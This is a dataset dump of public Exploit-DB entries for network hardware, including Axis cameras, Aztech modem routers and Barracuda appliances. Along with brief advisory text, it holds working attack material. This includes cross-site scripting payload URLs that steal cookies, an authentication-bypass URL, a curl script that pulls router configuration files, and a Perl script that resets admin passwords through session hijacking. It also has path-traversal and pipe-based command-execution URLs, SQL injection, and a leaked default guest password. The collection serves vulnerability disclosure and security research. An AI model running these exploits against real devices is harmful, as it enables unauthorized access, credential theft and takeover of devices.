deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36428
Description: Axis M10 Series Network Cameras - Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2011-12-07
Author: Matt Metzger

Exploit:
source: https://www.securityfocus.com/bid/50968/info

Axis M10 Series Network Cameras are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Axis M1054 firmware 5.21 is vulnerable; other version may also be affected. 

http://www.example.com/admin/showReport.shtml?content=serverreport.cgi&pageTitle=%3C%2Ftitle%3E%3Cscript%3Ealert(String.fromCharCode(88%2C83%2C83))%3B%3C%2Fscript%3E%3Ctitle%3E
Exploit-DB #22626
Description: Axis Network Camera 2.x - HTTP Authentication Bypass
Type: remote
Platform: hardware
Date: 2003-05-27
Author: Juliano Rizzo

Exploit:
source: https://www.securityfocus.com/bid/7652/info

A vulnerability has been discovered in various Axis Communications products. By making a request for a specially formatted URL, it may be possible for remote users to access the administrative configuration interface without being prompted for authentication. 

http://camera-ip//admin/admin.shtml
Exploit-DB #39314
Description: Aztech Modem Routers - Information Disclosure
Type: remote
Platform: hardware
Date: 2014-09-15
Author: Eric Fajardo

Exploit:
/*
source: https://www.securityfocus.com/bid/69808/info

Aztech Modem Routers are prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. 
*/

HOST=$1
PORT=$2
PARM1="\x48\x6f\x73\x74\x3a\x20"
PARM2="\x50\x72\x6f\x78\x79\x2d\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65"
PARM3="\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x69\x6d\x61\x67\x65\x2f\x77\x65\x62\x70\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38"
PARM4="\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x33\x37\x2e\x30\x2e\x32\x30\x36\x32\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36"
PARM5="\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x61\x64\x6d\x53\x65\x74\x74\x69\x6e\x67\x73\x2e\x61\x73\x70"
PARM6="\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x64\x65\x66\x6c\x61\x74\x65\x2c\x73\x64\x63\x68"
PARM7="\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x38"

NARGS=1
BARGS=65
main() {
        printf "\---------------------------------------------\n";
        printf "++ Aztech Modem Get Configuration File Exploit\n";
        printf "++ Usage: $0 TARGET PORT\n";
        printf "++ Ex: $0 192.168.254.254 80\n\n";

}

[[ $# -le $NARGS ]] && main && exit $BARGS

curl -i -H "$PARM1" \
        -H "$PARM2" \
        -H "$PARM3" \
        -H "$PARM4" \
        -H "$PARM5" \
        -H "$PARM6" \
        -H "$PARM7" http://www.example.com:$PORT/%63%67%69%2d%62%69%6e%2f%75%73%65%72%72%6f%6d%66%69%6c%65%2e%63%67%69 > romfile.cfg
Exploit-DB #39316
Description: Aztech Modem Routers - Session Hijacking
Type: remote
Platform: hardware
Date: 2014-09-15
Author: Eric Fajardo

Exploit:
source: https://www.securityfocus.com/bid/69811/info

Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected device. 

#!/usr/bin/perl
# Title: Aztech Modem Broken Session Management Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com 
#
# A successful authentication of a privilege (admin) ID in the
# web portal allows any attacker in the network to hijack and
# reuse the existing session in order to trick and allow the web
# server to execute administrative commands. The command may be
# freely executed from any terminal in the network as long as
# the session of the privilege ID is valid. The below PoC shows 
# an un-authenticated request to the web server for an administrator 
# and user password reset.
#
# This exploit was tested working with the following modems:
# - DSL5018EN(1T1R) from Globe Telecom
# - DSL705E
# - DSL705EU

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Broken Session Management Exploit\n";
print "++ Usage: perl $0 TARGET:PORT NEWPASSWORD\n";
print "++ Ex: perl $0 192.168.254.254:80 h4rh4rHaR\n\n";
exit;
}

my $TARGET = $ARGV[0];
my $NEWPASS = $ARGV[1];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "/cgi-bin/admAccess.asp";

system ('clear');
print "---------------------------------------------\n";
print "++ Sending POST string to $TARGET ...\n";

my $PAYLOAD = "saveFlag=1&adminFlag=1&SaveBtn=SAVE&uiViewTools_[CREDENTIAL_REDACTED]_PasswordConfirm=$NEWPASS&uiViewTools_Password1=$NEWPASS&uiViewTools_PasswordConfirm1=$NEWPASS";
my $POST = "POST $PATH HTTP/1.1";

my $ACCEPT = "Accept: text/html, application/xhtml+xml, */*";
my $REFERER = "Referer: http://$HOST/cgi-bin/admAccess.asp";
my $LANG = "Accept-Language: en-US";
my $AGENT = "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25";
my $CONTYPE = "Content-Type: application/x-www-form-urlencoded";
my $ACENCODING = "Accept-Encoding: gzip, deflate";
my $PROXYCONN = "Proxy-Connection: Keep-Alive";
my $CONNLENGTH = "Content-Length: 179";
my $DNT = "DNT: 1";
my $TARGETHOST = "Host: $HOST";
my $PRAGMA = "Pragma: no-cache";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n";
print $sock "$REFERER\n";
print $sock "$LANG\n";
print $sock "$AGENT\n";
print $sock "$CONTYPE\n";
print $sock "$ACENCODING\n";
print $sock "$PROXYCONN\n";
print $sock "$CONNLENGTH\n";
print $sock "$DNT\n";
print $sock "$TARGETHOST\n";
print $sock "$PRAGMA\n\n";
print $sock "$PAYLOAD\n";

print "++ Sent. Connect to the web URL http://$HOST with user:admin [CREDENTIAL_REDACTED]\n";
$sock->close();
exit;
Exploit-DB #36475
Description: Barracuda Control Center 620 - Cross-Site Scripting / HTML Injection
Type: remote
Platform: hardware
Date: 2011-12-21
Author: Vulnerability-Lab

Exploit:
source: https://www.securityfocus.com/bid/51156/info

Barracuda Control Center 620 is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

https://www.example.com/bcc/editdevices.jsp?device-type=spyware&selected-node=1&containerid=[IVE]
https://www.example.com/bcc/main.jsp?device-type=[IVE]
Exploit-DB #38671
Description: Barracuda CudaTel - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: hardware
Date: 2013-07-17
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/61353/info

Barracuda CudaTel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Barracuda CudaTel 2.6.02.04 is vulnerable; other versions may also be affected. 

http://www.example.com/gui/route/route?%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C
http://www.example.com/gui/route/route?_=[PII_REDACTED]62&bbx_outbound_route_flag_locked=%3C[CLIENT-SIDE SCRIPT
CODE!]%20%3C
http://www.example.com/ajax-html/queues_wall_stub.html?_=[PII_REDACTED]75%20%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C#
http://www.example.com/ajax-html/queues_wall_stub.html?_=[PII_REDACTED]75%20%3C[CLIENT-SIDE SCRIPT CODE!]%20%3C#
Exploit-DB #36931
Description: Barracuda CudaTel Communication Server 2.0.029.1 - Multiple HTML Injection Vulnerabilities
Type: remote
Platform: hardware
Date: 2012-03-08
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/52358/info

Barracuda CudaTel Communication Server is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

Barracuda CudaTel Communication Server 2.0.029.1 is vulnerable; other versions may also be affected. 

<td class="detailTD">
<div style="float: left;" class="printedName">
"><iframe div="" <="" onload='alert("VL")' src="a">
</td><script type="text/javascript">extensions_register('extOp530748', 'extOp530748-ext144', 
{"flag_super":"0","flag_locked":
"0","bbx_extension_rcd":"2012-02-16 
11:21:48.105901","bbx_extension_block_begin":"2088","map"{"bbx_conference_id":null,"bbx_provider_gateway_id":null,"sort_name":
"\"><iframe src=a onload=alert(\"vl\") 
<","bbx_valet_parking_id":null,"bbx_extension_entity_map_id":"82","bbx_extension_entity_
map_fallback_exten":null,"bbx_
extension_entity_map_metadata":null,"bbx_user_id":null,"bbx_router_id":"20","bbx_group_id":null,"bbx_callflow_id":null,"_force_
row_refresh":"0","show_name":"\"><[EXECUTION OF PERSISTENT SCRIPT CODE]
<","bbx_queue_id":null,"bbx_tdm_card_port_id":null,"flag_standalone":"1","bbx_auto_attendant_id":null,"bbx_extension_id_
forward":null},"bbx_extension_name":null,"bbx_domain_id":"6","bbx_extension_block_end":"2088","type_id":

{"id":"20","type":"router","col":"bbx_router_id"},"map_id":"82","flag_external":"0","flag_voicemail":"0","bbx_extension_value"
:"2088","ldap":0,"bbx_extension_rpd":"2012-02-16 11:21:49.06783","user_synced":null,"printed_name":"\"><[EXECUTION OF 
PERSISTENT SCRIPT CODE]
<","bbx_extension_id":"144","group_synced":null,"type":"router","flag_auto_provision":"0"});</script>
Exploit-DB #37564
Description: Barracuda Email Security Service - Multiple HTML Injection Vulnerabilities
Type: remote
Platform: hardware
Date: 2012-08-02
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/54773/info

Barracuda Email Security Service is prone to multiple HTML-injection vulnerabilities because it fails to properly validate user-supplied input.

An attacker may leverage these issues to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Barracuda Email Security Service 2.0.2 is vulnerable; other versions may also be affected. 

Proof of Concept:
=================
1.1
The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action.
For demonstration or reproduce ...

Review:  Domain Settings > Directory Services > LDAP Host

<div id="directory-services" class="module">
        <h4 class="module-title">Directory Services</h4>
        <div class="module-content">
          <div class="warn notice" id="ldap-test-result" style=""><img src="/images/spinner1.gif" 
alt="loading..."> Connecting to >"<iframe src="http://www.example1.com">@gmail.com >"<script>alert(document.cookie)</script><div style="1@gmail.com 0</iframe></div>    
          <div style="float: right;">
            <a href="https://www.example2.com/domains/sync_ldap/4" class="btn"><span><span>Synchronize Now</span></span></a>
            <a href="#" class="btn" id="ldap-test-btn"><span><span>Test Settings</span></span></a>
          </div>
          <p class="field">
            <label class="label" for="ldap_host">LDAP Host:</label>
            <input name="ldap_host" id="ldap_host" size="30" value=">
"<iframe src=http://www.example1.com>@gmail.com >"<script>alert(document.cookie)</script><
div style="1@gmail.com 0" type="text">

URL:   https://www.example.com/domains/info/4

PoC: >">"<iframe src=http://www.example1.com>VL >"<div style="1 >">"

Note:
To bypass the validation close the tag of the exception handling on beginning with double quotes 2 times.
The mask of the exception (>") will be bypassed and the string will be executed out of the secure exception handling message.



1.2
The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action.
For demonstration or reproduce ...

Vulnerable Module: Reports > Date Start > Date End

PoC: >"<iframe src=http://www.example1.com>

URL: https://www.example.com/reports

Note:
1. Include a start Date & End Date
2. Inject after the start date & end date your own persistent script code
3. Result: The script code get executed out of the date listing application context
4. Save value with script code to events for exploitation via module.
Exploit-DB #32801
Description: Barracuda Load Balancer - 'realm' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-02-05
Author: Jan Skovgren

Exploit:
source: https://www.securityfocus.com/bid/33779/info

Barracuda Load Balancer is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Barracuda Load Balancer 640 is vulnerable; other versions may also be affected.

http://www.example.com/cgi-mod/index.cgi?realm="><script>alert(â??XSS Possible!!!â??)</script>
Exploit-DB #2136
Description: Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (1)
Type: remote
Platform: hardware
Date: 2006-08-07
Author: Greg Sinclair

Exploit:
Title: Barracuda Arbitrary File Disclosure + Command Execution
Severity: High (Sensitive Information Disclosure)
Date: 01 August 2006
Version Affected: Barracuda Spam Firewall version 3.3.01.001 to 3.3.03.053
Discovered by: Greg Sinclair (gssincla@nnlsoftware.com)

Discovered on: 29 May 2006

Overview:
Barracuda Spam Firewalls (www.barracudanetworks.com) are vulnerable to
arbitrary file disclosure due to improper parameter sanitation.


Details:
The Barracuda Spam Firewalls from version 3.3.01.001 to 3.3.02.053 are vulnerable to
arbitrary file disclosure via the preview_email.cgi script. The /cgi-
bin/preview_email.cgi script is designed to retrieve a message from the local
message database on the Barracuda Spam Firewall. However, the "file" parameter which
is passed via GET is not properly sanitized to restrict the file retrieval to the
message database directories. The script looks for "/mail/mlog" in the file
parameter but does not take into account directory transversal arguments such as
".." The result is that any file that is accessible to the web server user is
accessible from the web interface. The script does require a valid user to be logged
in to perform this attack, however using the "Barracuda Hardcoded Password
Vulnerability" (NNL-20060801-01) guest password vulnerability this restriction can
easily be overcome. This particular problem is amplified by the fact that it is
possible to download the full configuration file for the barracuda. The
configuration file is periodically backed-up into the /tmp directory as
"/tmp/backup/periodic_config.txt.tmp" Message confidentiality is compromised by the
fact that an attacker who is able to view the message log screen (which can be done
via the guest password vulnerability) can easily view any message on the system.
The message logs are stored as /mail/mlog/X/Y/email_address/msgID where X is the
first character of email_address, Y is the second character of email_address,
email_address is the recipient's email address and msgID is the message ID assigned
to the message in question. So for example if jon@smith.com received a message with
messageID 1234, any user could view the message by entering
/mail/mlog/j/o/jon@smith.com/1234

Proof of Concept:

https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp

Command Execution by Matthew Hall <lists[at]ecsc.co.uk>

https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|

Recommendations:
* Never allow your barracuda web interface to be accessible from untrusted networks (especially the Internet)
* Upgrade to version 3.3.0.54 or later

Vendor Contact:
30 May 2006   - Initial Vendor Contact
24 June 2006  - Vendor replies with prospect of fix
17 July 2006  - NNL request status update, no reply
01 Aug 2006   - NNL releases vuln report, notifies vendor of release

# milw0rm.com [2006-08-07]
Exploit-DB #2145
Description: Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (2)
Type: remote
Platform: hardware
Date: 2006-08-08
Author: PATz

Exploit:
Title: Barracuda Arbitrary File Disclosure + Command Execution
Severity: High (Sensitive Information Disclosure)
Date: 01 August 2006
Version Affected: Barracuda Spam Firewall version 3.3.01.001 to 3.3.03.053
Discovered by: Greg Sinclair
Credits: Matthew Hall
Update: 07 August 2006
Updated by: PATz
 
####################################################################
 
Proof of Concept:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|
 
 
####################################################################
 
#using |unix| for command execution:
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/|uname%20-a|

#admin login/pass vuln
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog|cat%20update_admin_passwd.pl|
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../bin/update_admin_passwd.pl
 
eg.

#`/home/emailswitch/code/firmware/current/bin/updateUser.pl guest phteam99 2>&1`;
login: guest pass: phteam99

some folder are accessible via http without permission
https://<deviceIP>/Translators/
https://<deviceIP>/images/
https://<deviceIP>/locale
https://<deviceIP>/plugins
https://<deviceIP>/help
 
#stuff in do_install
 
/usr/sbin/useradd support -s /home/emailswitch/code/firmware/current/bin/request_support.pl -p swUpHFjf1MUiM
 
## Create backup tmp dir

/bin/mkdir -p /mail/tmp/backup/
chmod -R 777 /mail/tmp/
 
## Create smb backup mount point
/bin/mkdir -p /mnt/smb/
chmod 777 /mnt/smb/
 
.................................
Greetz to all noypi and phteam ^^,
.............eof.................

# milw0rm.com [2006-08-08]
Exploit-DB #31828
Description: Barracuda Spam Firewall 3.5.11 - 'ldap_test.cgi' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-05-22
Author: Information Risk Management Plc

Exploit:
source: https://www.securityfocus.com/bid/29340/info

Barracuda Spam Firewall is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Firmware prior to Barracuda Spam Firewall 3.5.11.025 is vulnerable. 

https://www.example.com/cgi-bin/ldap_test.cgi?host=127.0.0.1&port=1&tl s_mode=tls_mode&tls_require=&username=&[CREDENTIAL_REDACTED]=&searchbase=&uni que_attr=&email_attr=&domain=*&email=%3Cscript%3Ealert(document.cookie)% 3C/script%3E
Exploit-DB #7496
Description: Barracuda Spam Firewall 3.5.11.020 Model 600 - SQL Injection
Type: remote
Platform: hardware
Date: 2008-12-16
Author: Marian Ventuneac

Exploit:
CVE Number: CVE-2008-1094
Vulnerability: SQL Injection 
Risk: Medium
Attack vector: From Remote

Vulnerability Discovered: 16th June 2008
Vendor Notified: 16th June 2008
Advisory Released: 15th	December 2008


Abstract

Barracuda Networks Spam Firewall is vulnerable to various SQL Injection attacks. 
When exploited by an authenticated user, the identified vulnerability can lead to 
Denial of Service, Database Information Disclosure, etc.


Description

The index.cgi resource was identified as being susceptible to SQL Injection attacks. 
When filtering user accounts in Users->Account View section, the pattern_x parameter 
(where x = 0..n) allows inserting arbitrary SQL code once filter_x parameter is set 
to search_count_equalsâ€˜ value.

/cgi-bin/index.cgi?&user=&password=&et=&auth_type=Local&locale=en_US&realm=&primary_tab=USERS&secondary_tab=per_user_account_view&boolean_0=boolean_and&filter_0=search_count_equals&pattern_0=if(database() like concat(char(99),char(37)),5,0)

An attacker can exploit this vulnerability by injecting arbitrary SQL code to be 
executed as part of the SQL query.


Original Advisory:

http://dcsl.ul.ie/advisories/02.htm


Barracuda Networks Technical Alert

http://www.barracudanetworks.com/ns/support/tech_alert.php


Affected Versions

Barracuda Spam Firewall (Firmware v3.5.11.020, Model 600)

Other products/versions might be affected.


Mitigation

Vendor recommends to the following firmware version

Barracuda Spam Firewall (Firmware v3.5.12.001)

Alternatively, please contact Barracuda Networks for technical support.


Credits

Dr. Marian Ventuneac, marian.ventuneac@ul.ie
Data Communication Security Laboratory, Department of Electronic & Computer Engineering, University of Limerick


Disclaimer

Data Communication Security Laboratory releases this information with the vendor acceptance. 
DCSL is not responsible for any malicious application of the information presented in this advisory. 

# milw0rm.com [2008-12-16]
Exploit-DB #37513
Description: Barracuda SSL VPN - 'fileSystem.do' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: hardware
Date: 2012-07-18
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/54593/info
 
Barracuda SSL VPN 680 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable. 

www.example.com/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing %20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C